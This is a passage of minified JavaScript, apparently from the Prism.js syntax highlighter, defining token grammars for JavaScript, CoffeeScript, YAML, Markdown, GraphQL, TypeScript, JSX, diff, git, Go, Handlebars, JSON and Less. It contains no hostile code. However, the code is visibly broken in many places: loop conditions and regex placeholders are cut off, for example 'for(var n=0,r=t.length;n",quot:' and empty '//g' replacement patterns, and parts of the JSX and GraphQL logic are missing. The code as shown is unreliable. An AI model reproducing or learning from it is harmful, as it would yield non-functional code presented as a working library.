=?|\?\.?|[~:]/}),a.languages.javascript["class-name"][0].pattern=/(\b(?:class|extends|implements|instanceof|interface|new)\s+)[\w.\\]+/,a.languages.insertBefore("javascript","keyword",{regex:{pattern:/((?:^|[^$\w\xA0-\uFFFF."'\])\s]|\b(?:return|yield))\s*)\/(?:\[(?:[^\]\\\r\n]|\\.)*\]|\\.|[^/\\\[\r\n])+\/[dgimyus]{0,7}(?=(?:\s|\/\*(?:[^*]|\*(?!\/))*\*\/)*(?:$|[\r\n,.;:})\]]|\/\/))/,lookbehind:!0,greedy:!0,inside:{"regex-source":{pattern:/^(\/)[\s\S]+(?=\/[a-z]*$)/,lookbehind:!0,alias:"language-regex",inside:a.languages.regex},"regex-delimiter":/^\/|\/$/,"regex-flags":/^[a-z]+$/}},"function-variable":{pattern:/#?(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\s*[=:]\s*(?:async\s*)?(?:\bfunction\b|(?:\((?:[^()]|\([^()]*\))*\)|(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*)\s*=>))/,alias:"function"},parameter:[{pattern:/(function(?:\s+(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*)?\s*\(\s*)(?!\s)(?:[^()\s]|\s+(?![\s)])|\([^()]*\))+(?=\s*\))/,lookbehind:!0,inside:a.languages.javascript},{pattern:/(^|[^$\w\xA0-\uFFFF])(?!\s)[_$a-z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\s*=>)/i,lookbehind:!0,inside:a.languages.javascript},{pattern:/(\(\s*)(?!\s)(?:[^()\s]|\s+(?![\s)])|\([^()]*\))+(?=\s*\)\s*=>)/,lookbehind:!0,inside:a.languages.javascript},{pattern:/((?:\b|\s|^)(?!(?:as|async|await|break|case|catch|class|const|continue|debugger|default|delete|do|else|enum|export|extends|finally|for|from|function|get|if|implements|import|in|instanceof|interface|let|new|null|of|package|private|protected|public|return|set|static|super|switch|this|throw|try|typeof|undefined|var|void|while|with|yield)(?![$\w\xA0-\uFFFF]))(?:(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*\s*)\(\s*|\]\s*\(\s*)(?!\s)(?:[^()\s]|\s+(?![\s)])|\([^()]*\))+(?=\s*\)\s*\{)/,lookbehind:!0,inside:a.languages.javascript}],constant:/\b[A-Z](?:[A-Z_]|\dx?)*\b/}),a.languages.insertBefore("javascript","string",{hashbang:{pattern:/^#!.*/,greedy:!0,alias:"comment"},"template-string":{pattern:/`(?:\\[\s\S]|\$\{(?:[^{}]|\{(?:[^{}]|\{[^}]*\})*\})+\}|(?!\$\{)[^\\`])*`/,greedy:!0,inside:{"template-punctuation":{pattern:/^`|`$/,alias:"string"},interpolation:{pattern:/((?:^|[^\\])(?:\\{2})*)\$\{(?:[^{}]|\{(?:[^{}]|\{[^}]*\})*\})+\}/,lookbehind:!0,inside:{"interpolation-punctuation":{pattern:/^\$\{|\}$/,alias:"punctuation"},rest:a.languages.javascript}},string:/[\s\S]+/}},"string-property":{pattern:/((?:^|[,{])[ \t]*)(["'])(?:\\(?:\r\n|[\s\S])|(?!\2)[^\\\r\n])*\2(?=\s*:)/m,lookbehind:!0,greedy:!0,alias:"property"}}),a.languages.insertBefore("javascript","operator",{"literal-property":{pattern:/((?:^|[,{])[ \t]*)(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\s*:)/m,lookbehind:!0,alias:"property"}}),a.languages.markup&&(a.languages.markup.tag.addInlined("script","javascript"),a.languages.markup.tag.addAttribute(/on(?:abort|blur|change|click|composition(?:end|start|update)|dblclick|error|focus(?:in|out)?|key(?:down|up)|load|mouse(?:down|enter|leave|move|out|over|up)|reset|resize|scroll|select|slotchange|submit|unload|wheel)/.source,"javascript")),a.languages.js=a.languages.javascript,function(e){var t=/#(?!\{).+/,n={pattern:/#\{[^}]+\}/,alias:"variable"};e.languages.coffeescript=e.languages.extend("javascript",{comment:t,string:[{pattern:/'(?:\\[\s\S]|[^\\'])*'/,greedy:!0},{pattern:/"(?:\\[\s\S]|[^\\"])*"/,greedy:!0,inside:{interpolation:n}}],keyword:/\b(?:and|break|by|catch|class|continue|debugger|delete|do|each|else|extend|extends|false|finally|for|if|in|instanceof|is|isnt|let|loop|namespace|new|no|not|null|of|off|on|or|own|return|super|switch|then|this|throw|true|try|typeof|undefined|unless|until|when|while|window|with|yes|yield)\b/,"class-member":{pattern:/@(?!\d)\w+/,alias:"variable"}}),e.languages.insertBefore("coffeescript","comment",{"multiline-comment":{pattern:/###[\s\S]+?###/,alias:"comment"},"block-regex":{pattern:/\/{3}[\s\S]*?\/{3}/,alias:"regex",inside:{comment:t,interpolation:n}}}),e.languages.insertBefore("coffeescript","string",{"inline-javascript":{pattern:/`(?:\\[\s\S]|[^\\`])*`/,inside:{delimiter:{pattern:/^`|`$/,alias:"punctuation"},script:{pattern:/[\s\S]+/,alias:"language-javascript",inside:e.languages.javascript}}},"multiline-string":[{pattern:/'''[\s\S]*?'''/,greedy:!0,alias:"string"},{pattern:/"""[\s\S]*?"""/,greedy:!0,alias:"string",inside:{interpolation:n}}]}),e.languages.insertBefore("coffeescript","keyword",{property:/(?!\d)\w+(?=\s*:(?!:))/}),delete e.languages.coffeescript["template-string"],e.languages.coffee=e.languages.coffeescript}(a),function(e){var t=/[*&][^\s[\]{},]+/,n=/!(?:<[\w\-%#;/?:@&=+$,.!~*'()[\]]+>|(?:[a-zA-Z\d-]*!)?[\w\-%#;/?:@&=+$.~*'()]+)?/,r="(?:"+n.source+"(?:[ \t]+"+t.source+")?|"+t.source+"(?:[ \t]+"+n.source+")?)",a=/(?:[^\s\x00-\x08\x0e-\x1f!"#%&'*,\-:>?@[\]`{|}\x7f-\x84\x86-\x9f\ud800-\udfff\ufffe\uffff]|[?:-])(?:[ \t]*(?:(?![#:])|:))*/.source.replace(//g,(function(){return/[^\s\x00-\x08\x0e-\x1f,[\]{}\x7f-\x84\x86-\x9f\ud800-\udfff\ufffe\uffff]/.source})),o=/"(?:[^"\\\r\n]|\\.)*"|'(?:[^'\\\r\n]|\\.)*'/.source;function i(e,t){t=(t||"").replace(/m/g,"")+"m";var n=/([:\-,[{]\s*(?:\s<>[ \t]+)?)(?:<>)(?=[ \t]*(?:$|,|\]|\}|(?:[\r\n]\s*)?#))/.source.replace(/<>/g,(function(){return r})).replace(/<>/g,(function(){return e}));return RegExp(n,t)}e.languages.yaml={scalar:{pattern:RegExp(/([\-:]\s*(?:\s<>[ \t]+)?[|>])[ \t]*(?:((?:\r?\n|\r)[ \t]+)\S[^\r\n]*(?:\2[^\r\n]+)*)/.source.replace(/<>/g,(function(){return r}))),lookbehind:!0,alias:"string"},comment:/#.*/,key:{pattern:RegExp(/((?:^|[:\-,[{\r\n?])[ \t]*(?:<>[ \t]+)?)<>(?=\s*:\s)/.source.replace(/<>/g,(function(){return r})).replace(/<>/g,(function(){return"(?:"+a+"|"+o+")"}))),lookbehind:!0,greedy:!0,alias:"atrule"},directive:{pattern:/(^[ \t]*)%.+/m,lookbehind:!0,alias:"important"},datetime:{pattern:i(/\d{4}-\d\d?-\d\d?(?:[tT]|[ \t]+)\d\d?:\d{2}:\d{2}(?:\.\d*)?(?:[ \t]*(?:Z|[-+]\d\d?(?::\d{2})?))?|\d{4}-\d{2}-\d{2}|\d\d?:\d{2}(?::\d{2}(?:\.\d*)?)?/.source),lookbehind:!0,alias:"number"},boolean:{pattern:i(/false|true/.source,"i"),lookbehind:!0,alias:"important"},null:{pattern:i(/null|~/.source,"i"),lookbehind:!0,alias:"important"},string:{pattern:i(o),lookbehind:!0,greedy:!0},number:{pattern:i(/[+-]?(?:0x[\da-f]+|0o[0-7]+|(?:\d+(?:\.\d*)?|\.\d+)(?:e[+-]?\d+)?|\.inf|\.nan)/.source,"i"),lookbehind:!0},tag:n,important:t,punctuation:/---|[:[\]{}\-,|>?]|\.\.\./},e.languages.yml=e.languages.yaml}(a),function(e){var t=/(?:\\.|[^\\\n\r]|(?:\n|\r\n?)(?![\r\n]))/.source;function n(e){return e=e.replace(//g,(function(){return t})),RegExp(/((?:^|[^\\])(?:\\{2})*)/.source+"(?:"+e+")")}var r=/(?:\\.|``(?:[^`\r\n]|`(?!`))+``|`[^`\r\n]+`|[^\\|\r\n`])+/.source,a=/\|?__(?:\|__)+\|?(?:(?:\n|\r\n?)|(?![\s\S]))/.source.replace(/__/g,(function(){return r})),o=/\|?[ \t]*:?-{3,}:?[ \t]*(?:\|[ \t]*:?-{3,}:?[ \t]*)+\|?(?:\n|\r\n?)/.source;e.languages.markdown=e.languages.extend("markup",{}),e.languages.insertBefore("markdown","prolog",{"front-matter-block":{pattern:/(^(?:\s*[\r\n])?)---(?!.)[\s\S]*?[\r\n]---(?!.)/,lookbehind:!0,greedy:!0,inside:{punctuation:/^---|---$/,"front-matter":{pattern:/\S+(?:\s+\S+)*/,alias:["yaml","language-yaml"],inside:e.languages.yaml}}},blockquote:{pattern:/^>(?:[\t ]*>)*/m,alias:"punctuation"},table:{pattern:RegExp("^"+a+o+"(?:"+a+")*","m"),inside:{"table-data-rows":{pattern:RegExp("^("+a+o+")(?:"+a+")*$"),lookbehind:!0,inside:{"table-data":{pattern:RegExp(r),inside:e.languages.markdown},punctuation:/\|/}},"table-line":{pattern:RegExp("^("+a+")"+o+"$"),lookbehind:!0,inside:{punctuation:/\||:?-{3,}:?/}},"table-header-row":{pattern:RegExp("^"+a+"$"),inside:{"table-header":{pattern:RegExp(r),alias:"important",inside:e.languages.markdown},punctuation:/\|/}}}},code:[{pattern:/((?:^|\n)[ \t]*\n|(?:^|\r\n?)[ \t]*\r\n?)(?: {4}|\t).+(?:(?:\n|\r\n?)(?: {4}|\t).+)*/,lookbehind:!0,alias:"keyword"},{pattern:/^```[\s\S]*?^```$/m,greedy:!0,inside:{"code-block":{pattern:/^(```.*(?:\n|\r\n?))[\s\S]+?(?=(?:\n|\r\n?)^```$)/m,lookbehind:!0},"code-language":{pattern:/^(```).+/,lookbehind:!0},punctuation:/```/}}],title:[{pattern:/\S.*(?:\n|\r\n?)(?:==+|--+)(?=[ \t]*$)/m,alias:"important",inside:{punctuation:/==+$|--+$/}},{pattern:/(^\s*)#.+/m,lookbehind:!0,alias:"important",inside:{punctuation:/^#+|#+$/}}],hr:{pattern:/(^\s*)([*-])(?:[\t ]*\2){2,}(?=\s*$)/m,lookbehind:!0,alias:"punctuation"},list:{pattern:/(^\s*)(?:[*+-]|\d+\.)(?=[\t ].)/m,lookbehind:!0,alias:"punctuation"},"url-reference":{pattern:/!?\[[^\]]+\]:[\t ]+(?:\S+|<(?:\\.|[^>\\])+>)(?:[\t ]+(?:"(?:\\.|[^"\\])*"|'(?:\\.|[^'\\])*'|\((?:\\.|[^)\\])*\)))?/,inside:{variable:{pattern:/^(!?\[)[^\]]+/,lookbehind:!0},string:/(?:"(?:\\.|[^"\\])*"|'(?:\\.|[^'\\])*'|\((?:\\.|[^)\\])*\))$/,punctuation:/^[\[\]!:]|[<>]/},alias:"url"},bold:{pattern:n(/\b__(?:(?!_)|_(?:(?!_))+_)+__\b|\*\*(?:(?!\*)|\*(?:(?!\*))+\*)+\*\*/.source),lookbehind:!0,greedy:!0,inside:{content:{pattern:/(^..)[\s\S]+(?=..$)/,lookbehind:!0,inside:{}},punctuation:/\*\*|__/}},italic:{pattern:n(/\b_(?:(?!_)|__(?:(?!_))+__)+_\b|\*(?:(?!\*)|\*\*(?:(?!\*))+\*\*)+\*/.source),lookbehind:!0,greedy:!0,inside:{content:{pattern:/(^.)[\s\S]+(?=.$)/,lookbehind:!0,inside:{}},punctuation:/[*_]/}},strike:{pattern:n(/(~~?)(?:(?!~))+\2/.source),lookbehind:!0,greedy:!0,inside:{content:{pattern:/(^~~?)[\s\S]+(?=\1$)/,lookbehind:!0,inside:{}},punctuation:/~~?/}},"code-snippet":{pattern:/(^|[^\\`])(?:``[^`\r\n]+(?:`[^`\r\n]+)*``(?!`)|`[^`\r\n]+`(?!`))/,lookbehind:!0,greedy:!0,alias:["code","keyword"]},url:{pattern:n(/!?\[(?:(?!\]))+\](?:\([^\s)]+(?:[\t ]+"(?:\\.|[^"\\])*")?\)|[ \t]?\[(?:(?!\]))+\])/.source),lookbehind:!0,greedy:!0,inside:{operator:/^!/,content:{pattern:/(^\[)[^\]]+(?=\])/,lookbehind:!0,inside:{}},variable:{pattern:/(^\][ \t]?\[)[^\]]+(?=\]$)/,lookbehind:!0},url:{pattern:/(^\]\()[^\s)]+/,lookbehind:!0},string:{pattern:/(^[ \t]+)"(?:\\.|[^"\\])*"(?=\)$)/,lookbehind:!0}}}}),["url","bold","italic","strike"].forEach((function(t){["url","bold","italic","strike","code-snippet"].forEach((function(n){t!==n&&(e.languages.markdown[t].inside.content.inside[n]=e.languages.markdown[n])}))})),e.hooks.add("after-tokenize",(function(e){"markdown"!==e.language&&"md"!==e.language||function e(t){if(t&&"string"!=typeof t)for(var n=0,r=t.length;n",quot:'"'},l=String.fromCodePoint||String.fromCharCode;e.languages.md=e.languages.markdown}(a),a.languages.graphql={comment:/#.*/,description:{pattern:/(?:"""(?:[^"]|(?!""")")*"""|"(?:\\.|[^\\"\r\n])*")(?=\s*[a-z_])/i,greedy:!0,alias:"string",inside:{"language-markdown":{pattern:/(^"(?:"")?)(?!\1)[\s\S]+(?=\1$)/,lookbehind:!0,inside:a.languages.markdown}}},string:{pattern:/"""(?:[^"]|(?!""")")*"""|"(?:\\.|[^\\"\r\n])*"/,greedy:!0},number:/(?:\B-|\b)\d+(?:\.\d+)?(?:e[+-]?\d+)?\b/i,boolean:/\b(?:false|true)\b/,variable:/\$[a-z_]\w*/i,directive:{pattern:/@[a-z_]\w*/i,alias:"function"},"attr-name":{pattern:/\b[a-z_]\w*(?=\s*(?:\((?:[^()"]|"(?:\\.|[^\\"\r\n])*")*\))?:)/i,greedy:!0},"atom-input":{pattern:/\b[A-Z]\w*Input\b/,alias:"class-name"},scalar:/\b(?:Boolean|Float|ID|Int|String)\b/,constant:/\b[A-Z][A-Z_\d]*\b/,"class-name":{pattern:/(\b(?:enum|implements|interface|on|scalar|type|union)\s+|&\s*|:\s*|\[)[A-Z_]\w*/,lookbehind:!0},fragment:{pattern:/(\bfragment\s+|\.{3}\s*(?!on\b))[a-zA-Z_]\w*/,lookbehind:!0,alias:"function"},"definition-mutation":{pattern:/(\bmutation\s+)[a-zA-Z_]\w*/,lookbehind:!0,alias:"function"},"definition-query":{pattern:/(\bquery\s+)[a-zA-Z_]\w*/,lookbehind:!0,alias:"function"},keyword:/\b(?:directive|enum|extend|fragment|implements|input|interface|mutation|on|query|repeatable|scalar|schema|subscription|type|union)\b/,operator:/[!=|&]|\.{3}/,"property-query":/\w+(?=\s*\()/,object:/\w+(?=\s*\{)/,punctuation:/[!(){}\[\]:=,]/,property:/\w+/},a.hooks.add("after-tokenize",(function(e){if("graphql"===e.language)for(var t=e.tokens.filter((function(e){return"string"!=typeof e&&"comment"!==e.type&&"scalar"!==e.type})),n=0;n0)){var s=f(/^\{$/,/^\}$/);if(-1===s)continue;for(var l=n;l=0&&p(c,"variable-input")}}}}function u(e){return t[n+e]}function d(e,t){t=t||0;for(var n=0;n?|<|>)?|>[>=]?|\b(?:AND|BETWEEN|DIV|ILIKE|IN|IS|LIKE|NOT|OR|REGEXP|RLIKE|SOUNDS LIKE|XOR)\b/i,punctuation:/[;[\]()`,.]/},function(e){var t=e.languages.javascript["template-string"],n=t.pattern.source,r=t.inside.interpolation,a=r.inside["interpolation-punctuation"],o=r.pattern.source;function i(t,r){if(e.languages[t])return{pattern:RegExp("((?:"+r+")\\s*)"+n),lookbehind:!0,greedy:!0,inside:{"template-punctuation":{pattern:/^`|`$/,alias:"string"},"embedded-code":{pattern:/[\s\S]+/,alias:t}}}}function s(e,t){return"___"+t.toUpperCase()+"_"+e+"___"}function l(t,n,r){var a={code:t,grammar:n,language:r};return e.hooks.run("before-tokenize",a),a.tokens=e.tokenize(a.code,a.grammar),e.hooks.run("after-tokenize",a),a.tokens}function c(t){var n={};n["interpolation-punctuation"]=a;var o=e.tokenize(t,n);if(3===o.length){var i=[1,1];i.push.apply(i,l(o[1],e.languages.javascript,"javascript")),o.splice.apply(o,i)}return new e.Token("interpolation",o,r.alias,t)}function u(t,n,r){var a=e.tokenize(t,{interpolation:{pattern:RegExp(o),lookbehind:!0}}),i=0,u={},d=l(a.map((function(e){if("string"==typeof e)return e;for(var n,a=e.content;-1!==t.indexOf(n=s(i++,r)););return u[n]=a,n})).join(""),n,r),f=Object.keys(u);return i=0,function e(t){for(var n=0;n=f.length)return;var r=t[n];if("string"==typeof r||"string"==typeof r.content){var a=f[i],o="string"==typeof r?r:r.content,s=o.indexOf(a);if(-1!==s){++i;var l=o.substring(0,s),d=c(u[a]),p=o.substring(s+a.length),m=[];if(l&&m.push(l),m.push(d),p){var g=[p];e(g),m.push.apply(m,g)}"string"==typeof r?(t.splice.apply(t,[n,1].concat(m)),n+=m.length-1):r.content=m}}else{var h=r.content;Array.isArray(h)?e(h):e([h])}}}(d),new e.Token(r,d,"language-"+r,t)}e.languages.javascript["template-string"]=[i("css",/\b(?:styled(?:\([^)]*\))?(?:\s*\.\s*\w+(?:\([^)]*\))*)*|css(?:\s*\.\s*(?:global|resolve))?|createGlobalStyle|keyframes)/.source),i("html",/\bhtml|\.\s*(?:inner|outer)HTML\s*\+?=/.source),i("svg",/\bsvg/.source),i("markdown",/\b(?:markdown|md)/.source),i("graphql",/\b(?:gql|graphql(?:\s*\.\s*experimental)?)/.source),i("sql",/\bsql/.source),t].filter(Boolean);var d={javascript:!0,js:!0,typescript:!0,ts:!0,jsx:!0,tsx:!0};function f(e){return"string"==typeof e?e:Array.isArray(e)?e.map(f).join(""):f(e.content)}e.hooks.add("after-tokenize",(function(t){t.language in d&&function t(n){for(var r=0,a=n.length;r]|<(?:[^<>]|<[^<>]*>)*>)*>)?/,lookbehind:!0,greedy:!0,inside:null},builtin:/\b(?:Array|Function|Promise|any|boolean|console|never|number|string|symbol|unknown)\b/}),e.languages.typescript.keyword.push(/\b(?:abstract|declare|is|keyof|readonly|require)\b/,/\b(?:asserts|infer|interface|module|namespace|type)\b(?=\s*(?:[{_$a-zA-Z\xA0-\uFFFF]|$))/,/\btype\b(?=\s*(?:[\{*]|$))/),delete e.languages.typescript.parameter,delete e.languages.typescript["literal-property"];var t=e.languages.extend("typescript",{});delete t["class-name"],e.languages.typescript["class-name"].inside=t,e.languages.insertBefore("typescript","function",{decorator:{pattern:/@[$\w\xA0-\uFFFF]+/,inside:{at:{pattern:/^@/,alias:"operator"},function:/^[\s\S]+/}},"generic-function":{pattern:/#?(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*\s*<(?:[^<>]|<(?:[^<>]|<[^<>]*>)*>)*>(?=\s*\()/,greedy:!0,inside:{function:/^#?(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*/,generic:{pattern:/<[\s\S]+/,alias:"class-name",inside:t}}}}),e.languages.ts=e.languages.typescript}(a),function(e){function t(e,t){return RegExp(e.replace(//g,(function(){return/(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*/.source})),t)}e.languages.insertBefore("javascript","function-variable",{"method-variable":{pattern:RegExp("(\\.\\s*)"+e.languages.javascript["function-variable"].pattern.source),lookbehind:!0,alias:["function-variable","method","function","property-access"]}}),e.languages.insertBefore("javascript","function",{method:{pattern:RegExp("(\\.\\s*)"+e.languages.javascript.function.source),lookbehind:!0,alias:["function","property-access"]}}),e.languages.insertBefore("javascript","constant",{"known-class-name":[{pattern:/\b(?:(?:Float(?:32|64)|(?:Int|Uint)(?:8|16|32)|Uint8Clamped)?Array|ArrayBuffer|BigInt|Boolean|DataView|Date|Error|Function|Intl|JSON|(?:Weak)?(?:Map|Set)|Math|Number|Object|Promise|Proxy|Reflect|RegExp|String|Symbol|WebAssembly)\b/,alias:"class-name"},{pattern:/\b(?:[A-Z]\w*)Error\b/,alias:"class-name"}]}),e.languages.insertBefore("javascript","keyword",{imports:{pattern:t(/(\bimport\b\s*)(?:(?:\s*,\s*(?:\*\s*as\s+|\{[^{}]*\}))?|\*\s*as\s+|\{[^{}]*\})(?=\s*\bfrom\b)/.source),lookbehind:!0,inside:e.languages.javascript},exports:{pattern:t(/(\bexport\b\s*)(?:\*(?:\s*as\s+)?(?=\s*\bfrom\b)|\{[^{}]*\})/.source),lookbehind:!0,inside:e.languages.javascript}}),e.languages.javascript.keyword.unshift({pattern:/\b(?:as|default|export|from|import)\b/,alias:"module"},{pattern:/\b(?:await|break|catch|continue|do|else|finally|for|if|return|switch|throw|try|while|yield)\b/,alias:"control-flow"},{pattern:/\bnull\b/,alias:["null","nil"]},{pattern:/\bundefined\b/,alias:"nil"}),e.languages.insertBefore("javascript","operator",{spread:{pattern:/\.{3}/,alias:"operator"},arrow:{pattern:/=>/,alias:"operator"}}),e.languages.insertBefore("javascript","punctuation",{"property-access":{pattern:t(/(\.\s*)#?/.source),lookbehind:!0},"maybe-class-name":{pattern:/(^|[^$\w\xA0-\uFFFF])[A-Z][$\w\xA0-\uFFFF]+/,lookbehind:!0},dom:{pattern:/\b(?:document|(?:local|session)Storage|location|navigator|performance|window)\b/,alias:"variable"},console:{pattern:/\bconsole(?=\s*\.)/,alias:"class-name"}});for(var n=["function","function-variable","method","method-variable","property-access"],r=0;r*\.{3}(?:[^{}]|)*\})/.source;function o(e,t){return e=e.replace(//g,(function(){return n})).replace(//g,(function(){return r})).replace(//g,(function(){return a})),RegExp(e,t)}a=o(a).source,e.languages.jsx=e.languages.extend("markup",t),e.languages.jsx.tag.pattern=o(/<\/?(?:[\w.:-]+(?:+(?:[\w.:$-]+(?:=(?:"(?:\\[\s\S]|[^\\"])*"|'(?:\\[\s\S]|[^\\'])*'|[^\s{'"/>=]+|))?|))**\/?)?>/.source),e.languages.jsx.tag.inside.tag.pattern=/^<\/?[^\s>\/]*/,e.languages.jsx.tag.inside["attr-value"].pattern=/=(?!\{)(?:"(?:\\[\s\S]|[^\\"])*"|'(?:\\[\s\S]|[^\\'])*'|[^\s'">]+)/,e.languages.jsx.tag.inside.tag.inside["class-name"]=/^[A-Z]\w*(?:\.[A-Z]\w*)*$/,e.languages.jsx.tag.inside.comment=t.comment,e.languages.insertBefore("inside","attr-name",{spread:{pattern:o(//.source),inside:e.languages.jsx}},e.languages.jsx.tag),e.languages.insertBefore("inside","special-attr",{script:{pattern:o(/=/.source),alias:"language-javascript",inside:{"script-punctuation":{pattern:/^=(?=\{)/,alias:"punctuation"},rest:e.languages.jsx}}},e.languages.jsx.tag);var i=function(e){return e?"string"==typeof e?e:"string"==typeof e.content?e.content:e.content.map(i).join(""):""},s=function(t){for(var n=[],r=0;r0&&n[n.length-1].tagName===i(a.content[0].content[1])&&n.pop():"/>"===a.content[a.content.length-1].content||n.push({tagName:i(a.content[0].content[1]),openedBraces:0}):n.length>0&&"punctuation"===a.type&&"{"===a.content?n[n.length-1].openedBraces++:n.length>0&&n[n.length-1].openedBraces>0&&"punctuation"===a.type&&"}"===a.content?n[n.length-1].openedBraces--:o=!0),(o||"string"==typeof a)&&n.length>0&&0===n[n.length-1].openedBraces){var l=i(a);r0&&("string"==typeof t[r-1]||"plain-text"===t[r-1].type)&&(l=i(t[r-1])+l,t.splice(r-1,1),r--),t[r]=new e.Token("plain-text",l,null,l)}a.content&&"string"!=typeof a.content&&s(a.content)}};e.hooks.add("after-tokenize",(function(e){"jsx"!==e.language&&"tsx"!==e.language||s(e.tokens)}))}(a),function(e){e.languages.diff={coord:[/^(?:\*{3}|-{3}|\+{3}).*$/m,/^@@.*@@$/m,/^\d.*$/m]};var t={"deleted-sign":"-","deleted-arrow":"<","inserted-sign":"+","inserted-arrow":">",unchanged:" ",diff:"!"};Object.keys(t).forEach((function(n){var r=t[n],a=[];/^\w+$/.test(n)||a.push(/\w+/.exec(n)[0]),"diff"===n&&a.push("bold"),e.languages.diff[n]={pattern:RegExp("^(?:["+r+"].*(?:\r\n?|\n|(?![\\s\\S])))+","m"),alias:a,inside:{line:{pattern:/(.)(?=[\s\S]).*(?:\r\n?|\n)?/,lookbehind:!0},prefix:{pattern:/[\s\S]/,alias:/\w+/.exec(n)[0]}}}})),Object.defineProperty(e.languages.diff,"PREFIXES",{value:t})}(a),a.languages.git={comment:/^#.*/m,deleted:/^[-\u2013].*/m,inserted:/^\+.*/m,string:/("|')(?:\\.|(?!\1)[^\\\r\n])*\1/,command:{pattern:/^.*\$ git .*$/m,inside:{parameter:/\s--?\w+/}},coord:/^@@.*@@$/m,"commit-sha1":/^commit \w{40}$/m},a.languages.go=a.languages.extend("clike",{string:{pattern:/(^|[^\\])"(?:\\.|[^"\\\r\n])*"|`[^`]*`/,lookbehind:!0,greedy:!0},keyword:/\b(?:break|case|chan|const|continue|default|defer|else|fallthrough|for|func|go(?:to)?|if|import|interface|map|package|range|return|select|struct|switch|type|var)\b/,boolean:/\b(?:_|false|iota|nil|true)\b/,number:[/\b0(?:b[01_]+|o[0-7_]+)i?\b/i,/\b0x(?:[a-f\d_]+(?:\.[a-f\d_]*)?|\.[a-f\d_]+)(?:p[+-]?\d+(?:_\d+)*)?i?(?!\w)/i,/(?:\b\d[\d_]*(?:\.[\d_]*)?|\B\.\d[\d_]*)(?:e[+-]?[\d_]+)?i?(?!\w)/i],operator:/[*\/%^!=]=?|\+[=+]?|-[=-]?|\|[=|]?|&(?:=|&|\^=?)?|>(?:>=?|=)?|<(?:<=?|=|-)?|:=|\.\.\./,builtin:/\b(?:append|bool|byte|cap|close|complex|complex(?:64|128)|copy|delete|error|float(?:32|64)|u?int(?:8|16|32|64)?|imag|len|make|new|panic|print(?:ln)?|real|recover|rune|string|uintptr)\b/}),a.languages.insertBefore("go","string",{char:{pattern:/'(?:\\.|[^'\\\r\n]){0,10}'/,greedy:!0}}),delete a.languages.go["class-name"],function(e){function t(e,t){return"___"+e.toUpperCase()+t+"___"}Object.defineProperties(e.languages["markup-templating"]={},{buildPlaceholders:{value:function(n,r,a,o){if(n.language===r){var i=n.tokenStack=[];n.code=n.code.replace(a,(function(e){if("function"==typeof o&&!o(e))return e;for(var a,s=i.length;-1!==n.code.indexOf(a=t(r,s));)++s;return i[s]=e,a})),n.grammar=e.languages.markup}}},tokenizePlaceholders:{value:function(n,r){if(n.language===r&&n.tokenStack){n.grammar=e.languages[r];var a=0,o=Object.keys(n.tokenStack);!function i(s){for(var l=0;l=o.length);l++){var c=s[l];if("string"==typeof c||c.content&&"string"==typeof c.content){var u=o[a],d=n.tokenStack[u],f="string"==typeof c?c:c.content,p=t(r,u),m=f.indexOf(p);if(m>-1){++a;var g=f.substring(0,m),h=new e.Token(r,e.tokenize(d,n.grammar),"language-"+r,d),b=f.substring(m+p.length),v=[];g&&v.push.apply(v,i([g])),v.push(h),b&&v.push.apply(v,i([b])),"string"==typeof c?s.splice.apply(s,[l,1].concat(v)):c.content=v}}else c.content&&i(c.content)}return s}(n.tokens)}}}})}(a),function(e){e.languages.handlebars={comment:/\{\{![\s\S]*?\}\}/,delimiter:{pattern:/^\{\{\{?|\}\}\}?$/,alias:"punctuation"},string:/(["'])(?:\\.|(?!\1)[^\\\r\n])*\1/,number:/\b0x[\dA-Fa-f]+\b|(?:\b\d+(?:\.\d*)?|\B\.\d+)(?:[Ee][+-]?\d+)?/,boolean:/\b(?:false|true)\b/,block:{pattern:/^(\s*(?:~\s*)?)[#\/]\S+?(?=\s*(?:~\s*)?$|\s)/,lookbehind:!0,alias:"keyword"},brackets:{pattern:/\[[^\]]+\]/,inside:{punctuation:/\[|\]/,variable:/[\s\S]+/}},punctuation:/[!"#%&':()*+,.\/;<=>@\[\\\]^`{|}~]/,variable:/[^!"#%&'()*+,\/;<=>@\[\\\]^`{|}~\s]+/},e.hooks.add("before-tokenize",(function(t){e.languages["markup-templating"].buildPlaceholders(t,"handlebars",/\{\{\{[\s\S]+?\}\}\}|\{\{[\s\S]+?\}\}/g)})),e.hooks.add("after-tokenize",(function(t){e.languages["markup-templating"].tokenizePlaceholders(t,"handlebars")})),e.languages.hbs=e.languages.handlebars}(a),a.languages.json={property:{pattern:/(^|[^\\])"(?:\\.|[^\\"\r\n])*"(?=\s*:)/,lookbehind:!0,greedy:!0},string:{pattern:/(^|[^\\])"(?:\\.|[^\\"\r\n])*"(?!\s*:)/,lookbehind:!0,greedy:!0},comment:{pattern:/\/\/.*|\/\*[\s\S]*?(?:\*\/|$)/,greedy:!0},number:/-?\b\d+(?:\.\d+)?(?:e[+-]?\d+)?\b/i,punctuation:/[{}[\],]/,operator:/:/,boolean:/\b(?:false|true)\b/,null:{pattern:/\bnull\b/,alias:"keyword"}},a.languages.webmanifest=a.languages.json,a.languages.less=a.languages.extend("css",{comment:[/\/\*[\s\S]*?\*\//,{pattern:/(^|[^\\])\/\/.*/,lookbehind:!0}],atrule:{pattern:/@[\w-](?:\((?:[^(){}]|\([^(){}]*\))*\)|[^(){};\s]|\s+(?!\s))*?(?=\s*\{)/,inside:{punctuation:/[:()]/}},selector:{pattern:/(?:@\{[\w-]+\}|[^{};\s@])(?:@\{[\w-]+\}|\((?:[^(){}]|\([^(){}]*\))*\)|[^(){};@\s]|\s+(?!\s))*?(?=\s*\{)/,inside:{variable:/@+[\w-]+/}},property:/(?:@\{[\w-]+\}|[\w-])+(?:\+_?)?(?=\s*:)/,operator:/[+\-*\/]/